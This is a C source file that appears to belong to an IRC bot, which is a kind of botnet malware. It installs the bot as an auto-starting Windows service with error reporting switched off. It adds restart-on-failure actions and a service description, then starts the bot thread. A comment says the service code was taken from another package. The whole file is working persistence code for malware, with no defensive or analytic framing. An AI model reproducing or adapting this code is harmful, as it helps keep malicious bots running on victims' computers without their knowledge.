// Thanks to omega_service_.12b.rar, I stole most of the service functions from it
#include "includes.h"
#include "functions.h"

#ifndef NO_SERVICE

SC_HANDLE scm;

extern IRC mainirc;
SERVICE_STATUS ss; 
SERVICE_STATUS_HANDLE ssh; 
VOID WINAPI ShutdownHandler(DWORD Opcode)
{
	DWORD status;
	switch(Opcode)
	{
	case SERVICE_CONTROL_SHUTDOWN:
		if (mainirc.is_connected())
		{
			mainirc.quit("System shutting down.");
			Sleep(FLOOD_DELAY);
			mainirc.disconnect();
			fWSACleanup();
			ExitProcess(EXIT_SUCCESS);
		}
		ss.dwCurrentState = SERVICE_PAUSED;
		break;
	default:
		break;
	}

	// Send current status. 
	if (!fSetServiceStatus(ssh,&ss))
		status = GetLastError();
	return;
}


int ServiceMain(int argc, char *argv[])
{
	ss.dwServiceType = SERVICE_WIN32; 
	ss.dwCurrentState = SERVICE_START_PENDING; 
	ss.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN;
	ss.dwWin32ExitCode = 0; 
	ss.dwServiceSpecificExitCode = 0; 
	ss.dwCheckPoint = 0; 
	ss.dwWaitHint = 0; 
	ssh = fRegisterServiceCtrlHandler(servicename,ShutdownHandler);

    // not sure if this is needed for the shutdown handler but why not
    ss.dwCurrentState       = SERVICE_RUNNING; 
    ss.dwCheckPoint         = 0; 
    ss.dwWaitHint           = 0; 
	fSetServiceStatus(ssh,&ss);

	DWORD id;
	HANDLE threadhandle;
	//create a new thread pointing to the function that the service will run
	if((threadhandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ServiceThread, NULL, 0, &id)) == 0)
		return 0;
	//waits for the thread to close and handle to end before the function closes.
	WaitForSingleObject(threadhandle, INFINITE);
	
	CloseHandle(threadhandle);
	return 0;
}

BOOL ReconfigureService(LPSTR lpDesc);
int InstallService(char *svcpath)
{
	DWORD le;
	SC_HANDLE service;
    char path[MAX_PATH];

	sprintf(path, "\"%s\"", svcpath);
	
	//open a handle to SCM with the create service flag
	if(!(scm = fOpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE)))
		return 0;
	//install the service pointing to our .exe with full access rights, with its own process, w/o error reporting, with auto start on boot
	if(!(service = fCreateService(scm, servicename, servicedisplayname, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path, NULL, NULL, NULL, NULL, NULL)))
	{
		le=GetLastError();
		//if the service already exists..then run it!
		if(le==ERROR_DUPLICATE_SERVICE_NAME || le==ERROR_SERVICE_EXISTS)
		{
			ServiceRun();
		}
		//some shit happened..service couldn't install
		else
			return 0;
	}
	//no error during install..proceed to run the service
	else
	{
		ReconfigureService(servicedesc);
		ServiceRun();
	}
	//cleanup
	fCloseServiceHandle(service);
	fCloseServiceHandle(scm);
	
	return 0;
}

int ServiceRun() 
{ 
    SC_HANDLE service;
//	SERVICE_STATUS status; 
	
	//open a handle to SCM with full control rights
	if(!(scm = fOpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))
		return 0;
	//gain a handle to our service (ServiceName) with full rights
	if(!(service = fOpenService(scm, servicename, SERVICE_ALL_ACCESS)))
		return 0;
	//start the service w/o argument strings.
	if(fStartService(service, 0, NULL) == 0)
		return 0;
	//cleanup
	fCloseServiceHandle(scm);
    fCloseServiceHandle(service); 
    return 0;
}

DWORD WINAPI ServiceThread(LPVOID param)
{
	DWORD id;
	HANDLE threadhandle;
	if((threadhandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)BotThread, NULL, 0, &id)) == 0)
		return 0;
	WaitForSingleObject(threadhandle, INFINITE);
	CloseHandle(threadhandle);
	ExitThread(0);
}

BOOL ReconfigureService(LPSTR lpDesc) 
{ 
    SC_HANDLE service;
	SC_LOCK sclLock; 
	SC_ACTION scBuf;
	LPQUERY_SERVICE_LOCK_STATUS lpqslsBuf; 
	SERVICE_DESCRIPTION sdBuf;
	SERVICE_FAILURE_ACTIONS sfBuf;
	DWORD dwBytesNeeded; 
	BOOL bSuccess=TRUE;

	//open a handle to SCM with full control rights
	if(!(scm = fOpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))
		return FALSE;
	//gain a handle to our service (ServiceName) with full rights
	if(!(service = fOpenService(scm, servicename, SERVICE_ALL_ACCESS)))
		return FALSE;
	
	//need to acquire database lock before reconfiguring. 
	//if the database cannot be locked, report the details. 
	if (!(sclLock = fLockServiceDatabase(scm))) 
	{
		if (GetLastError() != ERROR_SERVICE_DATABASE_LOCKED) 
			return FALSE;

		// Allocate a buffer to get details about the lock.
		lpqslsBuf = (LPQUERY_SERVICE_LOCK_STATUS) LocalAlloc(LPTR,sizeof(QUERY_SERVICE_LOCK_STATUS)+256); 
		if (lpqslsBuf == NULL) 
			return FALSE;
 
		// Get and print the lock status information. 
		if (!fQueryServiceLockStatus(scm, lpqslsBuf, sizeof(QUERY_SERVICE_LOCK_STATUS)+256, &dwBytesNeeded)) 
			return FALSE;

		/*if (lpqslsBuf->fIsLocked)
		{
#ifdef _DEBUG
			printf("Locked by: %s, duration: %d seconds\n",lpqslsBuf->lpLockOwner,lpqslsBuf->dwLockDuration); 
#endif
		}*/

		LocalFree(lpqslsBuf); 
	}

	// The database is locked, so it is safe to make changes. 
	// Open a handle to the service. 
	scm = fOpenService(scm, servicename, SERVICE_CHANGE_CONFIG);
	if (service == NULL) 
		return FALSE;

	scBuf.Delay=3000;
	scBuf.Type=SC_ACTION_RESTART;

	sfBuf.lpsaActions=&scBuf;
	sfBuf.cActions=1;
	sfBuf.lpCommand=0;
	sfBuf.lpRebootMsg=0;
	sfBuf.dwResetPeriod=10;

	if(!fChangeServiceConfig2(service, SERVICE_CONFIG_FAILURE_ACTIONS, &sfBuf))
		bSuccess = FALSE;

	sdBuf.lpDescription = lpDesc;

	if(!fChangeServiceConfig2(service, SERVICE_CONFIG_DESCRIPTION, &sdBuf))
		bSuccess = FALSE;

	// Release the database lock. 
	fUnlockServiceDatabase(sclLock); 

	fCloseServiceHandle(service);
	fCloseServiceHandle(scm);

	return bSuccess;
}
#endif